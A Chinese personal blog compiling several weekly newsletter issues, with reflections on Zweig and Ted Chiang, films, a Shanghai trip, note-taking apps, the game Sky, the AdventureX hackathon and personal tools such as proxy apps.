肖斯塔科维奇《第二圆舞曲》(俄罗斯圣彼得堡爱乐)

交响乐真是一种很神奇的艺术形式。我们接触的大多数艺术形式,特别是通俗的艺术,比如电影、摄影、小说、绘画、戏剧、流行音乐,我们对艺术作品的感觉都源于我们生活的经验。没有相关的经历,可能对于作品就无法产生共情。然而纯音乐,特别是交响乐,却不是如此。我们对这种艺术作品的感知纯粹来源于作品本身。或许这可以被称为「纯艺术」。

🎬 本周观影:《布达佩斯大饭店》

对这部经典电影早有耳闻,也一直在我的观影 list 里。一直觉得对这种很经典的、很艺术的电影,作为消遣在茶余饭后观赏则有些浪费了(这居然成了我拖延症的理由……)。这周终于看了。

最吸引我的自然是本片的构图和色调。这是电影作为一种视觉艺术的体现。随着一层层故事的进入,环境、色彩甚至光影的变化,很有效地营造了氛围,将欧洲那个年代的历史展现在我们的眼前。

看到结尾「本片灵感源于史蒂芬 · 茨威格的作品」的字幕,shock 了一下……最近恰好在重读茨威格的作品,太巧了!不过看到这行字幕才回想起来,这部作品确实很有茨威格的风格。像诗一样的语言,像诗一样看待世界的方式。正如他本人所言:

即便在惊恐的深渊中,我也会一而再地抬头仰望那些旧日的星辰。

—— 茨威格《昨日的世界》

最近看的虚构类文学作品有点多,似乎我对文学越来越感兴趣了。不过仔细想想,文学只是关于文字这种表达形式的学问。音乐、电影甚至游戏,都可以是同等的表达形式。我深深着迷的东西,其实是这些形式背后表达的内容,那些深刻的情感和伟大的精神。

🇬🇧 把系统语言换成英语!

Via:我发现把系统语言切换成 English 的好处

翻译讲求信达雅,这固然没错,但许多时候这种「翻译感」并不适合需要简单直白高效的 UI。例如:Finder 翻译成「访达」,虽然确实很信达雅,有一股 Apple 特有的艺术气息,但却丧失了原来直白高效的感觉。

还有经典的「拷贝」和「复制」。Apple 系产品的「拷贝」等于非 Apple 系产品的「复制」(二者都是 copy);而 Apple 系产品的「复制」其实是 duplicate……不难发现,虽然翻译是为了本地化,让我们更好理解,但对我们而言,这些外来词被翻译后反而不如原来的英文好理解。

这类问题最多的当属 Apple Music 不可。「Play Next」被翻译成「插播」,「Library」被译为「资料库」。第一次从国产音乐软件转移过来的我,见到这样的 UI 完全摸不着头脑。

然而,将系统语言换成英语也有一些问题。iOS 大多数 App 都支持单独设定语言,所以可以将一些没兼容好的软件设为中文;然而系统自带的 Apple Music 却无法单独设置语言,这导致很多中文歌名、歌手名都会显示为英文,根本不认识!

  • 到底姓在前还是名在前???
    • 孙燕姿 —— Yanzi Sun
    • 周深 —— Zhou Shen
    • 毛不易 —— Mao Bu Yi
  • 莫文蔚 —— Karen Mok
  • 薛之谦 —— Joker Xue
  • 凤凰传奇 —— Phoenix Legend
  • ……

📑 正在制作我的全新简历 4.0!

技术岗一般不会很看重简历的设计,许多大厂都有自己的简历系统,或许面试官根本不看简历的 PDF。但既然我都用前端技术来写简历了,自然希望做得有意思一点。

我的简历 3.0,是基于 Astro 做的在线简历。部署在 cv.skywt.cn

可能由于我没有系统地学过平面设计和排版一类的知识,我对于含有大量文字内容的排版,感觉最重要的东西是字体。因为简历、博客这类排版有大量文字,很少有平面设计的发挥空间(这反而利好我这样的设计小白),而文字本身传达的视觉信息则更加重要。

一直以来我都比较喜欢 serif 字体,比如博客和上一版简历用的都是思源宋体。这种字体统一、文艺、正式,并且可以方便地作为 Web 字体。通过这种字体,能够很好地传达一种「性格」,也就是《Refactoring UI》里说的 personality。

然而,在仔细端详我的简历之后,我突然觉得:我想传达的性格不应该是这样的。我不想要这么正式古板,不想要这么文艺复古和多愁善感。我希望传达的是科技感、年轻、热情和热爱。

然而,普通的 sans 字体都太普通了,很难表达出我想要的感觉。不管是苹方、方正还是思源,用在简历里都显得特别廉价,一点都不 impressive。

在某厂实习期间,看到的一款字体似乎比较符合我想要传达的性格:钉钉进步体。基于这个字体,我全面改造了我的简历,希望能传达出「进取」的感觉。

马上上线,准备秋招!

🪧 一则全新 Twitter 置顶贴

自我介绍一下:

[object Object]

补充说明:

  1. 没有对象。
  2. 我有一个很丰富的自己想要介绍给你,可惜这里空隙太小,写不下。

一般来说,关于一个人的自我介绍信息可以用一个 Object 来表达。包含若干 key-value pairs,例如「姓名:SkyWT」,「爱好:阅读,coding,……」。然而可能由于一些格式兼容问题,我本来想把这个很大的 Object 输出给你的,结果输出出来就变成了 [object Object]。😉

📚 本周在读:《你一生的故事》

特德 · 姜的科幻小说总有一些独特的脑洞和创意。之前读了他的《呼吸》,本周读了这本《你一生的故事》,两本其实都是短篇科幻小说集,每一篇描述的世界,都有一个很有意思的独特设定。

他的小说很擅长将一些非常抽象但很有趣、很有哲理的观念或设定,用一种具象的形式表现出来。比如我特别喜欢的《呼吸》里的《焦虑是自由引起的眩晕》:

量子领域的发现推翻了牛顿经典力学的「决定论」,揭示了「世界上存在真随机」这一事实,但我们的生活中其实很难直观感受到这一点。小说的设定将这一点抽象出来了:世界上存在一种叫做「棱镜」的设备,其上有两盏灯。当设备被激活这一刻,有一半的概率左边灯亮,一半的概率右边灯亮,这是纯随机的。不同的灯亮,意味着出现了两个平行世界。

更有趣的是,棱镜里保存着一块量子硬盘,两个平行世界的人都能写入、读取数据,但不能覆盖已写入的部分。所以,两个平行世界的人可以保持一段时间的沟通,当硬盘数据写满之后两个世界就彻底失去通讯。当面临一些人生重大决策的时候,可以将棱镜看成抛硬币的机器,根据灯亮做出决策,并可以通过设备和平行世界作出另一决策的自己沟通!

我们在生活中,特别是在面临一些重大决策的时候,经常会想:「如果我们选择了另一条路,现在的人生会怎样呢?」然而,小说告诉我们:知道这个问题的答案,或许并不是一件好事。正是我们做出的种种选择,造就了今天在这个时空的自己。

下周见~

Weekly #11:成长是对世界的祛魅

我并没有生您的气,即使是瞬间,我也未曾做出过糊涂的、含有敌意的决断,因为生活本身已经把色彩缤纷的火焰冷却成了微光闪烁的同情的火苗了。

—— 茨威格《忘却的梦》

🌆 封面图:上海外滩

封面图:上海外滩

本周末去了上海玩!

在外滩,能够感受到一个时代的脉搏。

🌃 成长是对世界的祛魅

本周末从杭州东站出发前往上海。

杭州东站被戏称为「沉降东」,因为站台地底土质松软,选址时似乎没有考虑到这一点,导致现在站台出现了严重的沉降。列车到达时,车厢地面居然高出站台 20cm 左右……

不仅是站台沉降的问题,这次来杭州东,我能深刻地感觉到,整个杭州东站都「老了」。灯光更昏暗了,白色的墙体更泛黄了,电梯也更陈旧了……

我至今还清楚地记得,小时候第一次来杭州东站感受到的那种震撼。巨大的候车厅,巨大的站台,巨大的支撑柱,让我联想到《星际迷航》里的飞船(记得在高中写的日记里经常提到这一点)。它真的很能代表属于杭州的宏伟和繁华。特别是在杭州上高中的时候,每次放假回家都要从杭州东站出发。那时它在属于孩子的我眼里是多么雄伟,多么壮观。

上海是我小时候认为的最为繁华的城市。中国的经济中心,国际化的大都会,时代的见证。然而这次来到上海,坐地铁的时候,却有了很不一样的感受:夜晚城郊地铁上疲惫的人们,每个人都在各自看手机,感受不到丝毫活力。地铁上唯一看起来快乐的只有外地来的游客,兴奋地聊着天,和车厢里沉默的氛围格格不入。原来每一个平凡的个体在这样的城市里生存,感受是相似的。

以前我们以为的那些宏伟的、壮观的、光鲜亮丽的东西,随着我们年岁渐长,会慢慢发现它们都不过如此,而并没有我们曾经想象的那样伟大。可能所谓成长,就是对这个世界的不断「祛魅」。

📒 我放弃了所有「效率笔记」类应用

之前我超级喜欢折腾「效率笔记」一类的应用。之前写的《七大私有化部署笔记 & 知识库系统横评》,我试用了 Notion、Outline、Trilium、AppFlowy、为知笔记、AnyType、思源笔记。然而这还只是冰山一角,令我印象深刻的折腾过的笔记软件还有:Logseq、Obsidian、Flomo / Memos……

并且其中不少软件,我都使用过一段时间,怀着「将这个软件作为长期使用的工具」这样的想法。特别是思源笔记ObsidianLogseqMemos 这四款,我在它们身上都曾经希望 settle down。然而,最后都纷纷迁移。

现在,我终于放弃了所有「效率笔记」应用。因为我意识到这样一个事实:关于工具的折腾是没有尽头的。今天我由于 A 工具的一些厉害的功能而转而使用 A 工具,而明天必然会有 B 工具有比 A 工具更厉害的功能,我会转而使用 B 工具……软件总有更新迭代,总有后浪推前浪,所以我们也总有新的工具可以折腾。这是一个「螺旋上升」的局面,是个无尽的螺旋。

而笔记系统真的经不起这样的折腾。特别是随着内容的增加,迁移的压力会越来越大。

所以目前我的解决方案是,实行这样的观念:不再使用任何高级的笔记功能。什么双链笔记、卡片笔记、flashcards、各种同步、各种插件……这些功能虽然很炫酷,或许也有一定的好处,但并不是一个笔记系统从本质上所需要的。而一旦开始使用这些高级功能,必然陷入上述折腾的泥潭,螺旋上升地不断切换笔记系统。

从本质上,要构建一个笔记系统,Apple Notes 就足够了。

(有时候我甚至觉得,我们过于重视自己的第二大脑了,而忽略了第一大脑。)

📚 线上才是书店的更好形态

去上海逛了一家书店。虽然我喜欢阅读,但是已经很久没有逛线下书店了。更多地是逛豆瓣、Z-library 这种「赛博书店」。

虽然我非常喜欢线下书店的氛围,但是逛的时候有这样的感受:对于真正希望获取知识的阅读者,线上或许才是书店更好的形态。

书店里的书籍实在是太多了。而所有这些书籍,面向我们展示的信息只有封面、标题,顶多有一些书店的推荐语。这些内容往往考验的是出版社封面设计的功力,而不是书籍本身的内容质量。

我就有过不少被书店摆在醒目位置的、封面很漂亮的所谓的「畅销书」荼毒的经历。高中时在某某书城看到的《摆渡人》、《知更鸟女孩》,都是豆瓣上 6 分左右的平庸之作(我甚至觉得不值 6 分)。前者靠着非常漂亮的封面成功吸引了我(事实上纯粹是出版社的设计功力,这本书在国外是名不见经转的平庸之作),后者的封面设计则碰瓷名著《杀死一只知更鸟》(而且书店还特意将它们摆放在一起)。

**书店本身并不在意读者阅读的书本身的质量,只在意书籍销售的数量。**所以书店也必然将一些封面精美而内容平庸的书籍包装成「畅销书」,放在最醒目的位置。这也是书店商业属性的必然。

而在豆瓣这样的平台则不同,我们可以直观地看到书籍的评分,各个领域 top 的书籍是哪些,据此判断哪些书值得读。如果高中的我看到《摆渡人》和《知更鸟女孩》的评分这么低,我绝不会将时间花在它们身上。

虽然说读那些平庸的书籍也并非完全没有收获,但是人的时间太宝贵了。应该花在更优秀的书籍上。应该去向更伟大的思想和知识投去仰望的目光。

💡 伟大的事业需要真正的天才

看《人类群星闪耀时》的《决战滑铁卢》一篇,讲述的是拿破仑在滑铁卢的关键一战中,将重任委予一个平庸之人,这位平庸之人行事唯唯诺诺,只愿意「坚决执行命令」,不愿意承担责任。最后导致战败,扭转了整个历史。这就是著名的滑铁卢战役。著名到现代汉语中也常用「滑铁卢」来形容常胜将军的失败。

命运渴望强者和暴君。多年来对这几个人:恺撒、亚历山大、拿破仑,奴颜卑膝地百依百顺。因为命运无以抗拒地热爱着这些和它相像的不可捉摸的生灵。

然而在一些极为罕见的瞬间,命运也会因为情绪特殊,将自己抛向一些平庸之辈。在人类历史中,最令人惊奇的时刻是命运之线瞬间落入一位卑微之人手中。这些人被风暴般委以重任,与其说是他们的幸运,毋宁说让他们恐慌。在英雄世界的游戏里,这些鼠辈几乎总是颤抖着将抛来的天命撒手奉还。因为他们极少能抓住机遇,控制机遇,随之攀升。而伟大的时刻只是瞬间降临到他们身上,一旦错过时机,命运将决不二次恩惠。

尘世间,这样的瞬间极少光顾。而当它降临到一个不恰当的人身上时,这人并不懂得如何利用它。于是,这一伟大的瞬间进行了可怕的复仇。一切市民的美德:谨慎,顺从,勤勉,深思熟虑,在天命降临的烈焰中化为乌有,百无一用。这一刻需要天才。它蔑视地将胆怯之人一把推开并将天才一举锻造为不朽的丰碑。这世上的另一位神,命运,它高举勇者,以火热的双臂将英雄们举向天国。

读到「一切市民的美德:谨慎,顺从,勤勉,深思熟虑,在天命降临的烈焰中化为乌有,百无一用」这一句,我感觉有些震撼。我们从小被教育的就是要做一个善良的人,做一个勤奋努力的人,而在真正的天命面前,这些「市民的美德」根本无法决定什么。

真正能够决定一个人能否成就一项伟大的事业的,往往是源自其内心的召唤,和其与生俱来的独特气质。从历史上看,从爱迪生到乔布斯,都不太具备所谓「市民的美德」;而正是他们这样的天才推动了人类社会前进。

所以说,一项真正伟大的事业,往往需要真正的天才。

📷 一些上海图集

上海静安寺

坐落在喧嚣尘世里的静安寺。后面这栋楼的配色设计得太好了。

Apple 静安

Apple 静安大教堂!

Apple 的直营店或许是 Apple 最好的产品之一。这样细致的室内设计,真的是「only Apple can do」的事情。

虹桥火车站

夕阳下的虹桥火车站。金色的光。

下周见~

Weekly #10:游戏作为第九艺术

「您今天还保留着您所有的理想,那些您当年带往远方世界去的所有理想吗?所有这些您还保留着,没有损坏,或者说有些已经死亡,已经枯萎?或者到头来人家没有把这些理想强行从您怀里抢走,扔在污泥里,被成千上万驰向生活目标的车轮碾得粉碎?或者说您一点也没有丢失?」

—— 茨威格《忘却的梦》

这期 Weekly 本来写了一半是要上周发的,但是上周去参加了 AdventrueX,改发了一期「特别篇」。所以这篇内容,留到了这周发。

说起来,Weekly 发布时间已经变成不定了。我希望只要保持一周的周一到周日任何一天能发就好。😁

🌆 封面图:一个平凡的晚上

封面图:一个平凡的晚上

从 AdventureX 回来,就好似做了一场梦。回到了大厂平庸无聊的生活,只能将梦想重新埋在心底。

📚 本周重读:《一个陌生女人的来信》

上周重读了茨威格的《人类群星闪耀时》,本周我重读了他的另一部作品,是一部小说集:《一个陌生女人的来信》。仍然是茨威格的风格,我实在太喜欢了。

每个故事核心的情节其实都非常简单。然而茨威格的语言就有这样神奇的魔力,能将一个无比简单的情节渲染成充满诗意和情感的故事,让人深深共鸣。

忘却的梦》讲述的是一对曾经的初恋情侣,多年后再一次相见。他们回忆了曾经的初恋是多么美好,表达了自己仍然是多么爱对方。然而女方却选择为了钱财和地位,和另一个男人结婚。男方质问女方为什么。

随后她轻轻地、几乎是无声地问道:「您当时对我是怎么想的?」

他惊讶地抬眼望着她。

「这我可以坦率地告诉您,因为明天我就要回到我的新故乡去了。—— 我并没有生您的气,即使是瞬间,我也未曾做出过糊涂的、含有敌意的决断,**因为生活本身已经把色彩缤纷的火焰冷却成了微光闪烁的同情的火苗了。**我对您不理解,只是——感到惋惜。」

这时他轻声地,像是在对自己说:「可是爱情呢?」

这话她听到了。她嘴唇上露出一丝浅浅的微笑。

您今天还保留着您所有的理想,那些您当年带往远方世界去的所有理想吗?所有这些您还保留着,没有损坏,或者说有些已经死亡,已经枯萎?或者到头来人家没有把这些理想强行从您怀里抢走,扔在污泥里,被成千上万驰向生活目标的车轮碾得粉碎?或者说您一点也没有丢失?

他沮丧地点点头,沉默不语。

家庭女教师》以两个小女孩的视角展开,她们是姐妹。她们喜爱的家庭女教师,被父母发现和她们的舅舅「通奸」。在羞愧之中,女教师离开了她们家。

小女孩还无法理解这一切是怎么回事,但女教师哭得红肿的眼睛、母亲的咒骂、舅舅苍白的脸色,让她们第一次认识到,现实世界是多么残酷。这就是成长

就在这天下午,她们长大了好几岁。只是到了晚上,当她们单独待在黑暗的房间里时,才会再度产生儿童的恐惧:对孤独的恐惧,对死者画像的恐惧,以及对许多说不清的事物充满预感的恐惧。全家人一片慌张和忙乱,竟然没人想起给她们的房间生火。她们两人冷得爬到一张床上,用瘦弱的胳膊互相紧紧抱住,两个修长的尚未发育成熟的身体依偎在一起,好似在恐惧中寻找救援。可是,她们依然都不敢开口,但是妹妹此刻终于哭了,姐姐立即跟着猛烈地抽泣起来。她们紧紧地抱在一起哭,两人脸上热泪滚滚,从缓缓滴落到畅快直流。她们胸贴着胸,紧紧搂在一起,一声高一声低,彼此应和着对方的悲泣。她们两人有着相同的痛苦,成了同一个在黑暗中哭泣的身体。**她们现在已经不再是为那个不幸的女教师而哭泣,也不是为她们即将失去父母而哭泣,而是因为一种剧烈的恐惧感震撼了她们,尤其是因为对这个陌生世界可能发生的一切感到恐惧,对于这个世界今天她们才向它投去可怕的一瞥。她们对自己正在进入的生活感到恐惧。这生活就像一片幽暗的树林,轰然耸立在她们面前,阴森可怕,望而生畏,可是她们又必须去穿越。**渐渐地,她们两人混乱的恐惧变得越来越朦胧,像梦幻一样;她们的哭泣声也越来越微弱;她们两人的呼吸也缓缓地汇成一气,如同方才的眼泪一样。就这样,她们终于进入了梦乡。

最为著名的《一个陌生女人的来信》讲述的故事则更有戏剧性。四十一岁的男主突然收到一封长长的信,原来是男主根本不认识的女主,一直暗恋了他十多年。女主躺在病床上,临终前在信中回顾了自己一生对男主的爱恋。

女主对爱情的痴狂,真的深深震撼了我。

我知道,我知道,我的孩子昨天死了 —— 在这个世界上我现在只有你,只有你了,而你对我却一无所知,此刻你完全感觉不到,正在嬉戏取闹,或者正在跟什么人寻欢作乐,调情狎昵呢。我现在只有你,只有与我素昧平生的你,我始终爱着的你。

🪽《Sky 光遇》:游戏作为第九艺术

游戏可以和电影、书籍一样解决情感饥渴。

—— 陈星汉

Sky 光遇》(Sky: Children of the Light)这款游戏,陪伴我度过了许多时光。本周,它迎来了五周年庆典。我觉得值得回忆我和这个游戏的缘分。

高中的时候还在用小米 6,在酷安上看到的这款游戏的测试服(现在的国际服)。当时要玩上这个游戏可真不容易!由于只支持 Google 的账号体系,Google 框架自然是不必说,它还要求设备通过 Google Play 的 Safetynet 验证,这就需要各种折腾。直接安装 apk 是不行的,当时还用了一种特殊的安装器,连同一些游戏数据一起安装。那个每天折腾刷机的时代已经离我很远了,很多曾经天天折腾的事物都退出了历史舞台,比如 Xposed、TWRP……所以我几乎不记得我是怎么折腾的了。总之,还在安卓国际服测试服阶段,我就玩上了这个游戏。这个账号延续至今。

印象中测试服最早是日本服,游戏里遇到很多日本玩家。游戏本来是设计了「挥手」这个打招呼的方式的,但是由于最早一批玩家都来自日本,游戏中的「鞠躬」成了最流行的打招呼方式,延续至今……

后来在「网易 UU 加速器」里可以直接下载安卓版,我便安利给了高中同学,一起联机。记得是疫情隔离的寒假,那真是一些独特的体验和回忆。永远记得高二暑假一起玩过的「梦想季」。

游戏温暖治愈的设定,当时狠狠戳中了我。陌生人初看对方都是黑影,只有用蜡烛点燃对方才能看见对方的样子;通过蜡烛和升华烛可以解锁好友互动的各种方式;特别是暴风眼的设计和「重生」的设定,这一切通过游戏这样的载体展现了一种艺术感。

《Sky 光遇》每隔一段时间会推出新的持续两三个月的活动,称为「奇妙之旅」或者「季节」,会开放新的地图、道具和故事。记得入坑的时候恰逢最早的季节「凛冬季」。之后让我印象深刻的季节有:和《小王子》联名的「小王子季」,开放了绝美的星光沙漠地图;让全图天空变黑的「破晓季」,我唯一买了季卡的季节;和歌手 AURORA 联名的「AURORA 季」,万人联机的赛博演唱会(我会为任何没看过这个的人感到惋惜!);和上美影联名的「九色鹿季」,展现敦煌文化的灿烂和浪漫……

这个游戏带来的回忆太多了,有太多言语无法描述的震撼体验。可惜由于版权等种种原因,很多季节错过了就无法再次体验,非常可惜。

由于 bug 而产生的景点「千星城」

如果你也玩这个(国际服),快来找我联机吧。我太需要人联机了 😭。

说到游戏作为一种艺术,我必须安利 AdventureX 上看到的一个队伍做的游戏:《未见边界》。在 AdventureX 的 AI 赛道卷得出奇、各个队伍都在应用 AI 的「加速主义」浪潮之下,这个作品反其道而行之,表达了反对过度依赖 AI 的内核。这也可以算是一种对时代浪潮的反叛,很「嬉皮士精神」。最为特别的是,游戏里确实用到了 AI 大模型作为引导,有一种「打破第四面墙」的感觉!他们用三天时间就完成了整个游戏的设计,非常厉害。虽然 expo 的时候已经被他们剧透完了……感觉是个很有意思的游戏,期待上线!

✨「命理学」随想

上周参加 AdventureX,听了一位队友离奇的身世。她说她对命理学有一些研究,因为无法想象有怎样的「命」才会经历她这一切。

我想起小时候我妈在一个十分神秘的大师那里算过我们的命。其中结果包含我们未来的财富。(具体结果此处不透露了)不过后来想想,我对此是有一些逻辑上的质疑的。光从「财富」这一点上,就有很奇怪的地方。

**如何定义一个人的「财富」呢?**其实所有资产都能看作「债券」:人民币是国家担保的债券;存在银行里的钱是银行担保的债券;支付宝、微信支付余额是阿里、腾讯担保的债券;各种理财产品,则可以看作风险更大一些的债券;更神奇的是加密货币是无人担保,仅依靠共识而有价值的债券……这一切债券风险等级是从高到低的,是各自不同的。假设资产 $x$ 的风险为 $f(x)$,那么,当定义一个人的财富的时候,究竟哪些属于「财富」呢?如果要量化财富,则要取一个阈值 $k$,对于 $f(x) < k$ 的资产计入财富;而这一阈值显然是无法天然地确定的。

所以,如果这个世界有 API,你会发现无法查询一个人拥有的财富,因为根本没法准确定义一个人拥有的财富。

本质上,财富是人类社会中定义的,并且没有形成共识。任何人类社会之外的东西,即使是超自然力量,无法使用共识的定义,自然无法表达这一概念。任何人类社会中定义的参数,比如事业、爱情,都是如此。

不过,「命理学」是有存在的空间的,因为现实世界里就有太多科学无法解释的事物。诸如意识、存在、意义这类老生常谈的话题,科学目前都无法解释;这也是哲学和宗教存在的空间。

📚 本周在读:《蛤蟆先生去看心理医生》

关于心理咨询的一本很好的入门书籍。非常推荐给想要接受心理咨询,但是对「心理咨询」没有概念的朋友阅读。

很有意思的是,这本书的人物等设定都延续儿童小说《柳林风声》,相当于《柳林风声》的续集。这种写法很有意思!对于一些艺术作品中成功塑造的人物,我们往往对其有非常具体的认识。以他们为背景,就比引入新的人物更加让人熟悉和亲近。

(不过这样的设定也带来了一些奇怪的问题,比如书中蛤蟆先生提到,他的侄子(应该是小蛤蟆)居然有宠物狗……)

之前看过的另一本关于心理咨询的书籍是《也许,你该找个人聊聊》,作者作为一名心理咨询师讲述了她遇到的各种各样的求助者,同时也讲述了作者自己由于失恋也去接受心理咨询的经历。从这两本书里,我们能够了解到一个观念:接受心理咨询,和去医院看病,逻辑是不同的。

接受心理咨询,本质上是在咨询师的引导下,找到自己一直在逃避的事情,「和自己和解」。最后的这一步,只能自己迈出。

⚙️ Quantumult X 入门

本周购买了 Quantumult X。这是一个 iOS + macOS 跨平台的代理软件。

一直以来,iPhone 上使用的都是 Shadowrocket,而 MacBook 上则是直接使用 v2ray 内核。Shadowrocket 的 UI 很丑,稳定性有时候也不好。最主要的是,无法跨端同步,我在电脑上精心配制的分流规则无法直接在手机上应用。同时维护两个平台也太麻烦了。

之前搭建 Tailscale 的时候进行过整合的尝试,希望构建 all-in-one 的「个人网络基础设施」。但是最终未果。现在我在杭州,住处的网络环境暂时没有条件再搭建 VPN 了。

Quantumult X 作为一个跨平台的工具,很好地解决了上述问题。

💬 Quotes

所见高山远木,阔云流风; 所幸岁月盈余,了无拘束。

—— Arthals

你犯的错不会比 Microsoft 和 Crowdstrike 更严重。

🎵 青年友谊圆舞曲

蓝色的天空像大海一样 广阔的大路上尘土飞扬 穿森林过海洋来自各方 千万个青年人欢聚一堂 拉起手唱起歌跳起舞来 让我们唱一支友谊之歌

欢乐的歌声在回旋荡漾 歌颂着我们的幸福时光 亲爱的朋友啊心连着心 我们有共同的美好理想 拉起手唱起歌跳起舞来 让我们唱一支和平之歌

白鸽在天空中展翅飞翔 青春的花朵在心中开放 年轻的朋友们团结起来 为和平为友谊献出力量 拉起手唱起歌跳起舞来 让我们唱一支团结之歌

下周见。

Weekly #9:AdventureX —— 热爱为主,搞钱为辅

总有人心里有火炬,而且彼此能看见。

—— 麦卡锡《长路》

本周在杭州参加了 AdventureX,这是第一个面向中国年轻人的黑客松。我觉得这是我参加过的最有意思、最有意义也最酷的活动。不仅认识了很多新朋友,也了解到了很多新东西,甚至彻底改变了我的一些观念。

🌆 封面图:湖畔的日出

封面图:湖畔的日出

这次比赛的五天里,看了两次日出。

第一次是周三早上。前一天晚上我们熬夜讨论(和聊天),甚至凌晨的时候离开会场去散步,不知不觉到了凌晨四点。骑车回酒店休息的时候,正好碰上了日出,看到了天一点一点亮起来。

第二次是周五早上。这天上午 8:30 是项目提交 DDL,所以前一天晚上我们完全没有睡觉。四点半的时候,距离日出还有不到一小时,我们临时决定:打车去西湖看日出!

人在半夜的时候总会有那种白天不会产生的、很疯狂的想法。😁

🔥 热爱为主,搞钱为辅

第一天展会的合作方 Spark Lab 准备了一个大展示牌,是个关于大家在做的项目的坐标轴,横轴是「热爱」,纵轴是「赚钱」。大家可以根据自己的 MBTI 选择一个颜色的贴纸,然后将贴纸贴在自己的项目对应的坐标轴位置。

最后的结果让我印象深刻,是这样的:

热爱为主,搞钱为辅

我觉得,一句话概括就是:热爱为主,搞钱为辅。大家在做自己项目的时候,大多是以发自内心的热爱为主导。这样的热爱,在大学里很少见,在大厂里也很难见到。这很酷

我真的感受到了参加这次比赛的体验,和平常在大厂打工的体验,有多么不同。一个最直观的感受就是:在大厂干了一天活,到晚饭时间就非常累了,每天晚上回来都是什么都不想做的状态;早上起床,也经常是充满了怨气地来到工位。似乎每天都很累。而在这里,虽然中间三天都没怎么睡觉,却一点也不犯困,每天都很兴奋。或许这就是创造带来的兴奋感。

归根结底,大厂必然是压制员工的创新的。作为一个大型的多人协作组织,大厂需要的是对决策的服从,而非质疑。作为个人而言,在这一过程中自己的创新显然被压制了,从而难以获得价值感和意义感。真正能够展现自己创意的工作,或许只能在小团队中产生,比如这次黑客松。

🤝 我其实并不这么社恐

参加比赛之前,以为我会很社恐。甚至开幕式之前的那个中午,即将出发前往会场的时候,真的有一种强烈的恐惧感。

然而到了会场,不管是第一天的开幕式、展会,还是之后的比赛、expo,我发现自己并没有这么社恐。因为能够感觉到,大家都是普通人,大家也有和我一样面对陌生人的感觉(几个社牛除外)。但是想到大家心中都怀揣着一样的激情和热爱,相互了解也并不再是如此难的事情。

特别是,和有意思的人认识和交流,反而是一件非常快乐的事情。我们对许多事情都深有同感,能够找到共鸣;我也能听到他们对许多事情的想法和看法,接触不一样的世界观,引发许多思考。这一过程真的非常神奇。

现在我理解了《乔布斯传》里所说的乔布斯「喜欢和人一起散步」。我真正地感受到,观点会在碰撞中产生。与他人的交流之中,不同思维的碰撞往往能产生各种各样的想法,这些想法是一个人平时想不到的。

🌟 时代中的青春力量

所有的火,都是火

高中的时候看到过这样一句话:

总有人心里有火炬,而且彼此能看见。

—— 麦卡锡《长路》

参加这次活动的时候,有感而发。我认为这次活动是对这句话最好的见证。

之前 Weekly #4 阅读与人生自我设计中提到,要认清时代的主潮。我觉得当今时代最根本的主潮之一就是:经济下行。由此,年轻人的内卷也好,躺平也好,迷茫焦虑也好,卷绩点、考研、考公考编风气的盛行也好,都是这一主潮的外在表征。

而在这次比赛里我感受到的却是一种截然相反的风气:大家都充满激情和热爱,有着各种想法以及将它们变为现实的驱动力。将这样一群年轻人聚在一起,就将这种热情无限地聚集和放大,迸发出属于青年和青春的力量。这一切反而与时代的风气格格不入。这是对时代风气的反叛,也是对「嬉皮士精神」最好的诠释。

他们发明。

他们想象。

他们治愈。

他们探索。

他们创造。

💬 最后要说的话

开放中,可以来聊~

非常感谢主办方和合作方。主办方是一群高中生。他们的种种努力,无论是陪我们熬的夜,对 LGBT 群体的尊重,还是超酷的伍德斯托克音乐节,都被我们看在眼里。正是他们独属于少年的理想主义,让这场活动更酷。

我还要感谢队友 Kronight薇龙Seimo。或许是由于我们队早就确定了「友谊第一,比赛第二」的总方针,我们队内有特别融洽的氛围。也要感谢其他我遇见的伙伴们。我永远会记得和这群人凌晨三四点一起熬的夜、逛的马路、看的日出、吃的海底捞。

或许如薇龙所说,这一切都是命中注定的缘分。✨

明年希望能再见。

Weekly #8:知识分子应该是什么样子?

哪见过我俩这样的爱人、恋人、情人啊?相识相爱将近五年了--千六百多个日日夜夜,居然连一次面也不曾见过!情人节之际,竟然连几朵鲜花、一束玫瑰也不能彼此馈赠,更别说想象之中和期盼已久的相拥相吻!其是令人感慨,悲哀!其没想到,交通和通信如此发达的今天,我们仍像古人般艰难地「红叶题诗」,「鱼传尺柰」;像牛郎织女般「盈盈一水间,脉脉不得语」——何况,牛郎织女每年「七夕」尚能「打鼓吹萧银汉过,并肩携手鹊桥游」啊!

——《第二次握手》

又是一周!

已经很难记录一周的事情了。感觉现在这个 Weekly 存在的意义,更多是锻炼自己的写作和表达能力。毕竟平时写作的机会也很少。

🌆 封面图:城市里的夕阳

封面图:城市里的夕阳

📚 《第二次握手》:知识分子应该是什么样子?

《第二次握手》是一部传奇的长篇小说,在文革时期曾经以手抄本的形式流行全国,曾被官方认定为禁书,作者也差点引来杀身之祸,直到文革结束。本周在读这本书,非常喜欢!

这本书展现的知识分子的生活,令我深深地震撼。19 岁的男主苏冠兰,在齐鲁大学学习化学,坐在火车上的他居然在读德文原版的《拓扑学概论》!

从字里行间也能看出作者的知识面之广。这本书涉及到大量物理、化学、生物学、艺术、历史、文学的知识,夹杂在小说情节中。比如,说到男主苏冠兰的名字,作者介绍起各种叫“兰”的植物在植物学上的科属分类;描写男主的心境,则通过名画《无名女郎》和《第九个浪头》侧面表现;女主对爱情的渴望,则凝聚在独舞《婚礼》和各种古典乐;对曼哈顿工程的描述也十分具体,居然以科普的态度给我们介绍了原子弹的各种原理……

「琼姐,」只有苏冠兰不以为然,蹙起眉头,「你如此聪明,为什么要学艺术,学舞蹈呢?」

丁洁琼表情惶惑,不吱声。

「什么意思?」凌云竹打量苏冠兰。

「文学,艺术,以及诸如此类的东西,」苏冠兰倒是干脆利落,「对国家的强盛和民族的复兴,没有作用。」

「什么才对国家的强盛和民族的复兴有作用?」

「科学、技术和工业。」

凌云竹凝视苏冠兰。

「文学艺术是什么?」苏冠兰口气不屑,「『朱门沉沉按歌舞,厩马肥死弓断弦』,『商女不知亡国恨,隔江犹唱后庭花』,『借问汉宫谁得似?可怜飞燕倚新妆』,『忍把浮名,换了浅斟低唱』……」

「你知道《满江红》吗?」凌云竹摆摆手。

「知道呀……」

「那你就应该懂得,世间固然有『浅斟低唱』,但也有『壮怀激烈』;固然有人不知忘国恨,但也有人『驾长车踏破破贺兰山缺』!」

苏冠兰一时无言以对。

